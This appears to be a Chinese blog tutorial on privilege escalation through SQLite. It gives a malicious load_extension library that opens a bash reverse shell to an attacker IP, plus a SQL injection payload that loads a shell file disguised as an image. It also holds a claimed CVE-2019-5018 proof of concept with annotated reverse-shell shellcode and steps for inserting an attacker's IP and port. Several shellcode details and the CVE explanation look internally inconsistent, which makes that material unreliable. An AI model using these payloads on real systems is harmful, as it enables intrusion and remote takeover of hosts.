SQLite提权
SQLite 是轻量级嵌入式数据库,提权主要通过以下方式:
- 利用
load_extension功能加载恶意动态库(.so/.dll),执行任意代码。 - 利用 SQLite 历史漏洞(如 CVE-2019-5018 缓冲区溢出)触发代码执行。
- 利用 SQLite 数据库文件权限配置不当,篡改数据影响高权限进程逻辑。
利用load_extension扩展功能提权(最常见)
SQLite 的load_extension函数可加载外部动态库(.so/.dll),若该功能开启且进程权限高,可加载恶意库实现提权。
- 前提条件:
load_extension功能未禁用(默认禁用,需显式开启);- 运行 SQLite 的进程(如 Web 服务器)权限较高;
- 低权限用户可执行自定义 SQL。
前置确认
-- SQLite终端执行 PRAGMA compile_options; -- 查看是否包含ENABLE_LOAD_EXTENSION SELECT load_extension('test'); -- 无报错则功能开启
操作
写一个外部库文件->调用外部库
以下有官网模板
/* 在此处添加标题注释 */
#include <sqlite3ext.h> /* 不要使用 <sqlite3.h>! */
SQLITE_EXTENSION_INIT1
/* 在此处插入您的扩展程序代码 */
#ifdef _WIN32
__declspec(dllexport)
#endif
/* TODO:更改入口点名称,将“extension”替换为
**文本源自共享库文件名,如下所示:复制所有内容
** 文件名中最后一个“/”之后到第一个“/”之后的ASCII字母字符
**接下来的“.”,将每个字符转换为小写,并且
** 如果前三个字符是“lib”,则将其丢弃。
*/
int sqlite3_extension_init(
sqlite3 *db,
字符 **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
/* 在此处插入对以下情况的调用
** sqlite3_create_function_v2(),
** sqlite3_create_collation_v2(),
** sqlite3_create_module_v2(),和/或
** sqlite3_vfs_register()
** 注册您的扩展程序添加的新功能。
*/
返回 rc;
}
例如写入
#include <sqlite3ext.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1
int sqlite3_extension_init(sqlite3 *db, char **errmsg, const sqlite3_api_routines *api) {
SQLITE_EXTENSION_INIT2(api);
system("/bin/bash -i >& /dev/tcp/你的IP/端口 0>&1"); // 反弹shell
return 0;
}
编译为.so 文件:
gcc -fPIC -shared -o malicious.so malicious.c -lsqlite3
加载恶意库提权:
SELECT load_extension('/path/to/malicious.so');
/download?filename=1'||load_extension('/app/img/1664806144shell.png');--
1'闭合
||连接传入语句
https://cloud.tencent.com/developer/article/2288065
CVE-2019-5018
本质是 SQLite 处理 LOCATE() 函数(字符串查找函数)的参数时,对字符串长度的计算逻辑存在致命错误,导致堆内存越界写入,覆盖其他数据,进而触发任意代码执行。
要求
- 目标系统的 SQLite 版本 ≤ 3.27.2(可通过
sqlite3 --version验证); - 攻击者能构造并执行恶意 SQL 语句(常见场景:Web 应用的 SQLite 注入、本地低权限用户执行 SQLite 命令);
- SQLite 进程运行权限较高(如 root/Administrator,否则即使触发漏洞也无法提权);
- 目标系统未开启严格的内存保护(如 ASLR、PIE、Heap Canary 等,这些防护会增加利用难度,但并非无法绕过)。
漏洞验证
-- CVE-2019-5018 最简触发语句 SELECT LOCATE(REPEAT('A', 1000), '', -1);
执行后,SQLite 进程会立即崩溃(段错误),原因是堆缓冲区溢出覆盖了关键内存,程序无法正常执行。
过程
#include <stdio.h>
#include <sqlite3.h>
// 反弹 shell 的 shellcode(Linux x86_64,替换为你的 IP 和端口)
unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc9\x48\x83\xc0\x29\x48\x83\xc2\x2b\x48\x83\xf6\x02\x48\x83\xff\x06\x48\x83\xf9\x02\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\x0f\x05";
int main() {
sqlite3 *db;
char *errmsg;
char sql[4096];
// 打开 SQLite 数据库(内存数据库)
if (sqlite3_open(":memory:", &db) != SQLITE_OK) {
printf("数据库打开失败:%s\n", sqlite3_errmsg(db));
return -1;
}
// 构造恶意 SQL 语句:用 shellcode 填充溢出缓冲区
snprintf(sql, sizeof(sql),
"SELECT LOCATE(REPEAT('%s', 1000), '', -1);",
shellcode);
// 执行恶意 SQL,触发漏洞
printf("执行恶意 SQL...\n");
sqlite3_exec(db, sql, NULL, NULL, &errmsg);
// 清理
sqlite3_close(db);
return 0;
}
编译执行
# 编译 PoC gcc -o sqlite_exp sqlite_exp.c -lsqlite3 # 执行(需在授权环境下) ./sqlite_exp
// 反弹Shell Shellcode:Linux x86_64,替换 ATTACKER_IP 和 ATTACK_PORT 为你的值
unsigned char shellcode[] =
// 1. 初始化寄存器(清空)
"\x48\x31\xc0" // xor rax, rax
"\x48\x31\xd2" // xor rdx, rdx
"\x48\x31\xf6" // xor rsi, rsi
"\x48\x31\xff" // xor rdi, rdi
"\x48\x31\xc9" // xor rcx, rcx
// 2. 创建TCP Socket (sys_socket = 41)
"\x48\x83\xc0\x29" // add rax, 0x29 (rax=41)
"\x48\x83\xf6\x02" // add rsi, 0x2 (SOCK_STREAM)
"\x48\x83\xff\x02" // add rdi, 0x2 (AF_INET)
"\x0f\x05" // syscall (socket(AF_INET, SOCK_STREAM, 0))
// 3. 保存socket fd到rbx (rax返回socket fd)
"\x48\x89\xc3" // mov rbx, rax
// 4. 构造connect的参数(sockaddr_in结构体)
"\x48\x31\xd2" // xor rdx, rdx
"\x48\x89\xd6" // mov rsi, rdx
"\x48\xc7\xc6\x01\x02\x03\x04" // mov rsi, 0x04030201 (ATTACKER_IP: 1.2.3.4,需替换)
"\x66\xc7\xc2\x11\x5c" // mov dx, 0x5c11 (ATTACK_PORT: 4444,需替换,网络字节序)
"\x48\xc7\xc0\x02\x00\x00\x00" // mov rax, 0x2 (AF_INET)
"\x48\x89\x44\x24\x10" // mov [rsp+0x10], rax
"\x48\x89\x74\x24\x08" // mov [rsp+0x8], rsi (IP)
"\x66\x89\x54\x24\x06" // mov [rsp+0x6], dx (PORT)
"\x48\x89\xe7" // mov rdi, rsp (指向sockaddr_in)
"\x48\x83\xc2\x10" // add rdx, 0x10 (sizeof(sockaddr_in))
"\x48\x31\xc0" // xor rax, rax
"\x48\x83\xc0\x2a" // add rax, 0x2a (sys_connect = 42)
"\x0f\x05" // syscall (connect(socket_fd, &sockaddr_in, 16))
// 5. 重定向标准输入/输出/错误到socket (dup2 = 33)
"\x48\x31\xc0" // xor rax, rax
"\x48\x83\xc0\x21" // add rax, 0x21 (dup2=33)
"\x48\x89\xfe" // mov rsi, rdi (rsi=socket_fd)
"\x48\x31\xff" // xor rdi, rdi (rdi=0: stdin)
"\x0f\x05" // syscall (dup2(socket_fd, 0))
"\x48\x31\xc0" // xor rax, rax
"\x48\x83\xc0\x21" // add rax, 0x21
"\x48\xff\xc7" // inc rdi (rdi=1: stdout)
"\x0f\x05" // syscall (dup2(socket_fd, 1))
"\x48\x31\xc0" // xor rax, rax
"\x48\x83\xc0\x21" // add rax, 0x21
"\x48\xff\xc7" // inc rdi (rdi=2: stderr)
"\x0f\x05" // syscall (dup2(socket_fd, 2))
// 6. 执行/bin/bash (execve = 59)
"\x48\x31\xc0" // xor rax, rax
"\x48\x83\xc0\x3b" // add rax, 0x3b (execve=59)
"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" // mov rbx, 0x68732f2f6e69622f (/bin//sh)
"\x48\xc1\xeb\x08" // shr rbx, 0x8
"\x53" // push rbx
"\x48\x89\xe7" // mov rdi, rsp
"\x48\x31\xd2" // xor rdx, rdx
"\x52" // push rdx
"\x48\x89\xe6" // mov rsi, rsp
"\x0f\x05"; // syscall (execve("/bin/sh", ["/bin/sh"], NULL))
1. 转换攻击者 IP 为十六进制(网络字节序)
比如你的攻击机 IP 是 192.168.1.100:
- 拆分:
192``168``1``100 - 转十六进制:
0xc0``0xa8``0x01``0x64 - 网络字节序(小端)拼接:
0x6401a8c0 - 替换 Shellcode 中
0x04030201为0x6401a8c0,对应代码段:c运行
"\x48\xc7\xc6\x64\x01\xa8\xc0" // mov rsi, 0x6401a8c0 (192.168.1.100)
2. 转换端口为十六进制(网络字节序)
比如你要监听的端口是 4444:
- 十进制
4444转十六进制:0x115c - 网络字节序无需反转(端口是 2 字节),直接替换 Shellcode 中
0x5c11为0x115c,对应代码段:c运行
"\x66\xc7\xc2\x5c\x11" // mov dx, 0x115c (端口4444)
小工具:可以用在线工具(如「进制转换 + 网络字节序转换」)快速生成,避免手动计算出错。
利用 SQLite 文件权限配置不当提权
SQLite 是文件型数据库(所有数据 / 逻辑都存储在单个 .db 文件中),而非服务型数据库(如 MySQL/PostgreSQL)。这类提权的核心逻辑是:
低权限用户通过修改 / 替换「高权限进程依赖的 SQLite 数据库文件」,让高权限进程执行数据库中被篡改的恶意逻辑,从而间接获得高权限操作能力。
触发条件(缺一不可)
- 文件权限过松:目标 SQLite 数据库文件(
.db)的权限配置错误,低权限用户拥有「读 + 写」甚至「执行」权限(如 Linux 下权限为777/666,Windows 下 Everyone 组有修改权限); - 高权限依赖:有高权限进程(root/Administrator、SYSTEM 等)定期读取 / 执行该 SQLite 数据库中的内容(如 Web 服务、系统定时任务、后台服务);
- 无数据校验:高权限进程直接使用数据库中的数据 / 逻辑,未做任何校验(如直接拼接 SQL、执行数据库中存储的命令字符串);
- 低权限访问:攻击者拥有目标系统的低权限账户,能访问到该 SQLite 数据库文件的存储路径。
需要自己寻找目标文件

浙公网安备 33010602011771号